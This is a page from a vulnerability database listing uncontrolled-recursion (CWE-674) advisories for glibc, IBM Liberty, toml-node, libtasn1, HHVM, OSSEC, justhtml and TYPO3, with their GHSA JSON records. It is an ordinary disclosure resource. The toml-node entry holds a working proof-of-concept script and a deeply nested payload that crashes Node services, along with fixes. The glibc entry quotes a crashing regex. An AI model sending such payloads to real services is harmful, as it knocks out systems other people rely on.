GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

755 vulnerabilities reference this CWE, most recent first.

GHSA-7X29-5Q3F-F4X2

Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30
VLAI
Details

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-20796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-26T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by \u0027(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+\u0027 in grep.",
  "id": "GHSA-7x29-5q3f-f4x2",
  "modified": "2022-05-13T01:30:43Z",
  "published": "2022-05-13T01:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20796"
    },
    {
      "type": "WEB",
      "url": "https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34141"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/bug-gnulib/2019-01/msg00108.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190315-0002"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K26346590?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107160"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XQP-2VGX-PCR5

Vulnerability from github – Published: 2026-07-28 21:31 – Updated: 2026-07-28 21:31
VLAI
Details

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service vulnerability when the restConnector-2.0 feature is enabled.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-28T20:17:23Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service vulnerability when the restConnector-2.0 feature is enabled.",
  "id": "GHSA-7xqp-2vgx-pcr5",
  "modified": "2026-07-28T21:31:33Z",
  "published": "2026-07-28T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16192"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7281648"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82X6-Q7MM-W9CF

Vulnerability from github – Published: 2026-09-03 20:56 – Updated: 2026-09-03 20:56
VLAI
Summary
toml-node: Uncontrolled Recursion
Details

Summary

toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.

A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.


Vulnerable Code

The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:

// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
  ...
  s0 = peg$parsearray();          // line 1017  ← value → array
  if (s0 === peg$FAILED) {
    s0 = peg$parseinline_table(); // line 1019  ← value → inline_table
  }
  ...
}

// peg$parsearray() @ line 2879
function peg$parsearray() {
  ...
  s3 = peg$parsevalue();          // line 2931  ← array element → value (back-edge)
  ...
}

// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
  ...
  s5 = peg$parsevalue();          // line 3266  ← inline-table value → value (back-edge)
  ...
}

Recursion cycle for a=[[[ … ]]] (bare nested arrays):

toml.parse(src)
  → peg$parsevalue()        # parser.js:1008
      → peg$parsearray()     # parser.js:1017 / 2879
          → peg$parsevalue() # parser.js:2931  ← back-edge, per nested element
              → …            # depth == input nesting → RangeError, no guard

Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).


Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

npm install toml@4.1.2        # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

const toml = require('toml');
console.log('version:', require('toml/package.json').version);  // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length);   // 6003

try {
  toml.parse(payload);
  console.log('no crash');
} catch (e) {
  console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
  console.log('is RangeError?', e instanceof RangeError,          // true
              '| is SyntaxError?', e instanceof SyntaxError);     // false
}

Expected output (vulnerable — actual run):

version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

Payload shape Reliable crash depth Payload size
Bare nested array a=[[ … ]] ≥ ~2,500 ~5 KB (6 KB at depth 3000, used above)
Inline table {arr=[ … ]} ≥ ~1,500 ~12 KB

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.


Realistic Attack Scenario

// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => {
  try {
    const config = toml.parse(req.body);   // ← RangeError on ~6 KB nested payload
    res.json({ status: 'ok' });
  } catch (e) {
    // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
    // on malformed input. A RangeError has neither, so this guard rethrows it:
    if (e.line != null) return res.status(400).json({ error: e.message });
    throw e;                                // RangeError propagates → uncaught → worker down
  }
});

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml'))['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.


Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.


Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }

// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
        v:(array / inline_table / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

module.exports.parse = function (input) {
  // cheap structural bound before the recursive parse
  let depth = 0, max = 0;
  for (const ch of input) {
    if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
    else if (ch === ']' || ch === '}') depth--;
  }
  if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
  return realParse(input);
};

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).


Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:56:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node\u0027s call stack.\n\nA small payload \u2014 a bare array nested a few thousand levels deep (**~5\u20136 KB**) \u2014 reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions \u2014 none carry a depth counter:\n\n```javascript\n// lib/parser.js \u2014 peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n  ...\n  s0 = peg$parsearray();          // line 1017  \u2190 value \u2192 array\n  if (s0 === peg$FAILED) {\n    s0 = peg$parseinline_table(); // line 1019  \u2190 value \u2192 inline_table\n  }\n  ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n  ...\n  s3 = peg$parsevalue();          // line 2931  \u2190 array element \u2192 value (back-edge)\n  ...\n}\n\n// peg$parseinline_table() @ line 3066 \u2192 peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n  ...\n  s5 = peg$parsevalue();          // line 3266  \u2190 inline-table value \u2192 value (back-edge)\n  ...\n}\n```\n\n**Recursion cycle** for `a=[[[ \u2026 ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n  \u2192 peg$parsevalue()        # parser.js:1008\n      \u2192 peg$parsearray()     # parser.js:1017 / 2879\n          \u2192 peg$parsevalue() # parser.js:2931  \u2190 back-edge, per nested element\n              \u2192 \u2026            # depth == input nesting \u2192 RangeError, no guard\n```\n\nInline tables (`{arr=[ \u2026 ]}`, `{a={a= \u2026 }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2        # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml \u003e/dev/null 2\u003e\u00261; node -e \u0027\u003cPoC below\u003e\u0027\"\n```\n\n**Reproduce** \u2014 save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require(\u0027toml\u0027);\nconsole.log(\u0027version:\u0027, require(\u0027toml/package.json\u0027).version);  // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = \u00271\u0027;\nfor (let i = 0; i \u003c 3000; i++) x = \u0027[\u0027 + x + \u0027]\u0027;\nconst payload = \u0027a=\u0027 + x;\nconsole.log(\u0027payload bytes:\u0027, payload.length);   // 6003\n\ntry {\n  toml.parse(payload);\n  console.log(\u0027no crash\u0027);\n} catch (e) {\n  console.log(\u0027CONFIRMED:\u0027, e.constructor.name + \u0027:\u0027, e.message.slice(0, 40));\n  console.log(\u0027is RangeError?\u0027, e instanceof RangeError,          // true\n              \u0027| is SyntaxError?\u0027, e instanceof SyntaxError);     // false\n}\n```\n\n**Expected output (vulnerable \u2014 actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array `a=[[ \u2026 ]]` | \u2265 ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ \u2026 ]}` | \u2265 ~1,500 | ~12 KB |\n\n\u003e **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic \u2014 it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require(\u0027express\u0027);\nconst toml = require(\u0027toml\u0027);\nconst app = express();\napp.use(express.text({ type: \u0027application/toml\u0027, limit: \u0027100kb\u0027 }));\n\napp.post(\u0027/config\u0027, (req, res) =\u003e {\n  try {\n    const config = toml.parse(req.body);   // \u2190 RangeError on ~6 KB nested payload\n    res.json({ status: \u0027ok\u0027 });\n  } catch (e) {\n    // toml only throws a peg$SyntaxError (e.name === \u0027SyntaxError\u0027, with e.line/e.column)\n    // on malformed input. A RangeError has neither, so this guard rethrows it:\n    if (e.line != null) return res.status(400).json({ error: e.message });\n    throw e;                                // RangeError propagates \u2192 uncaught \u2192 worker down\n  }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n\u003e The package exports **only** `parse` (`Object.keys(require(\u0027toml\u0027))` \u2192 `[\u0027parse\u0027]`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) \u2026 }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5\u20136 KB) deeply nested payload. `toml.parse` is the package\u0027s only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser\u0027s `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 \u2014 grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = \u0026{ if (++depth \u003e MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n        v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 \u2014 entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n  // cheap structural bound before the recursive parse\n  let depth = 0, max = 0;\n  for (const ch of input) {\n    if (ch === \u0027[\u0027 || ch === \u0027{\u0027) max = Math.max(max, ++depth);\n    else if (ch === \u0027]\u0027 || ch === \u0027}\u0027) depth--;\n  }\n  if (max \u003e 500) throw new Error(\u0027TOML nesting depth exceeds limit (500)\u0027);\n  return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function \u2014 the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.",
  "id": "GHSA-82x6-q7mm-w9cf",
  "modified": "2026-09-03T20:56:14Z",
  "published": "2026-09-03T20:56:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/pull/72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BinaryMuse/toml-node"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "toml-node: Uncontrolled Recursion"
}

GHSA-834W-G79F-WRQV

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

An issue was discovered in the _asn1_decode_simple_ber function in decoding.c in GNU Libtasn1 before 4.13. Unlimited recursion in the BER decoder leads to stack exhaustion and DoS.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-22T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in the _asn1_decode_simple_ber function in decoding.c in GNU Libtasn1 before 4.13. Unlimited recursion in the BER decoder leads to stack exhaustion and DoS.",
  "id": "GHSA-834w-g79f-wrqv",
  "modified": "2022-05-13T01:08:59Z",
  "published": "2022-05-13T01:08:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6003"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1535926"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1076832"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/libtasn1/commit/946565d8eb05fbf7970ea366e817581bb5a90910"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4106"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.nongnu.org/cgit/libtasn1.git/commit/?id=c593ae84cfcde8fea45787e53950e0ac71e9ca97"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-86Q4-P3XC-6M2H

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44
VLAI
Details

The fb_unserialize function did not impose a depth limit for nested deserialization. That meant a maliciously constructed string could cause deserialization to recurse, leading to stack exhaustion. This issue affected HHVM prior to v4.32.3, between versions 4.33.0 and 4.56.0, 4.57.0, 4.58.0, 4.58.1, 4.59.0, 4.60.0, 4.61.0, 4.62.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-11T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "The fb_unserialize function did not impose a depth limit for nested deserialization. That meant a maliciously constructed string could cause deserialization to recurse, leading to stack exhaustion. This issue affected HHVM prior to v4.32.3, between versions 4.33.0 and 4.56.0, 4.57.0, 4.58.0, 4.58.1, 4.59.0, 4.60.0, 4.61.0, 4.62.0.",
  "id": "GHSA-86q4-p3xc-6m2h",
  "modified": "2022-05-24T17:44:15Z",
  "published": "2022-05-24T17:44:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/hhvm/commit/1746dfb11fc0048366f34669e74318b8278a684c"
    },
    {
      "type": "WEB",
      "url": "https://hhvm.com/blog/2020/06/30/security-update.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-87RM-8Q5W-499G

Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43
VLAI
Details

An issue was discovered in OSSEC 3.6.0. An uncontrolled recursion vulnerability in os_xml.c occurs when a large number of opening and closing XML tags is used. Because recursion is used in _ReadElem without restriction, an attacker can trigger a segmentation fault once unmapped memory is reached.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-28040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-05T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in OSSEC 3.6.0. An uncontrolled recursion vulnerability in os_xml.c occurs when a large number of opening and closing XML tags is used. Because recursion is used in _ReadElem without restriction, an attacker can trigger a segmentation fault once unmapped memory is reached.",
  "id": "GHSA-87rm-8q5w-499g",
  "modified": "2022-05-24T17:43:48Z",
  "published": "2022-05-24T17:43:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ossec/ossec-hids/issues/1953"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-892M-GCQ8-2468

Vulnerability from github – Published: 2026-08-23 15:33 – Updated: 2026-08-25 16:40
VLAI
Summary
Duplicate Advisory: Uncontrolled recursion DoS in JustHTML() via deeply nested HTML
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-v7cf-c9rm-wm3j. This link is maintained to preserve external references.

Original Description

justhtml through 1.9.1 (fixed in 1.10.0) is vulnerable to uncontrolled recursion leading to denial of service. During JustHTML() construction, TreeBuilder.finish() unconditionally calls _populate_selectedcontent(), which recursively traverses the DOM tree via _find_elements()/_find_element() without a depth bound. An attacker who can supply HTML for parsing can provide deeply nested elements (e.g., ~1000 nested tags, roughly 11 KB) to exceed CPython's default recursion limit and trigger an unhandled RecursionError, which may abort parsing, fail requests, or terminate a worker/process depending on the host application's exception handling.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "justhtml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T16:40:27Z",
    "nvd_published_at": "2026-08-23T14:16:55Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-v7cf-c9rm-wm3j. This link is maintained to preserve external references.\n\n### Original Description\njusthtml through 1.9.1 (fixed in 1.10.0) is vulnerable to uncontrolled recursion leading to denial of service. During JustHTML() construction, TreeBuilder.finish() unconditionally calls _populate_selectedcontent(), which recursively traverses the DOM tree via _find_elements()/_find_element() without a depth bound. An attacker who can supply HTML for parsing can provide deeply nested elements (e.g., ~1000 nested \u003cdiv\u003e tags, roughly 11 KB) to exceed CPython\u0027s default recursion limit and trigger an unhandled RecursionError, which may abort parsing, fail requests, or terminate a worker/process depending on the host application\u0027s exception handling.",
  "id": "GHSA-892m-gcq8-2468",
  "modified": "2026-08-25T16:40:27Z",
  "published": "2026-08-23T15:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-v7cf-c9rm-wm3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9769"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/justhtml-before-denial-of-service-via-deeply-nested-html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Uncontrolled recursion DoS in JustHTML() via deeply nested HTML",
  "withdrawn": "2026-08-25T16:40:27Z"
}

GHSA-8C28-5MP7-V24H

Vulnerability from github – Published: 2022-12-13 17:02 – Updated: 2022-12-13 17:02
VLAI
Summary
TYPO3 CMS vulnerable to Denial of Service in Page Error Handling
Details

Problem

Requesting invalid or non-existing resources via HTTP triggers the page error handler, which again could retrieve content to be shown as an error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.

This vulnerability is very similar, but not identical, to the one described in TYPO3-CORE-SA-2021-005 (CVE-2021-21359).

Solution

Update to TYPO3 versions 9.5.38 ELTS, 10.4.33 or 11.5.20 that fix the problem described above.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-13T17:02:09Z",
    "nvd_published_at": "2022-12-14T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Problem\nRequesting invalid or non-existing resources via HTTP triggers the page error handler, which again could retrieve content to be shown as an error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.\n\nThis vulnerability is very similar, but not identical, to the one described in [TYPO3-CORE-SA-2021-005](https://typo3.org/security/advisory/typo3-core-sa-2021-005) (CVE-2021-21359).\n\n### Solution\nUpdate to TYPO3 versions 9.5.38 ELTS, 10.4.33 or 11.5.20 that fix the problem described above.\n\n### References\n* [TYPO3-CORE-SA-2022-012](https://typo3.org/security/advisory/typo3-core-sa-2022-012)",
  "id": "GHSA-8c28-5mp7-v24h",
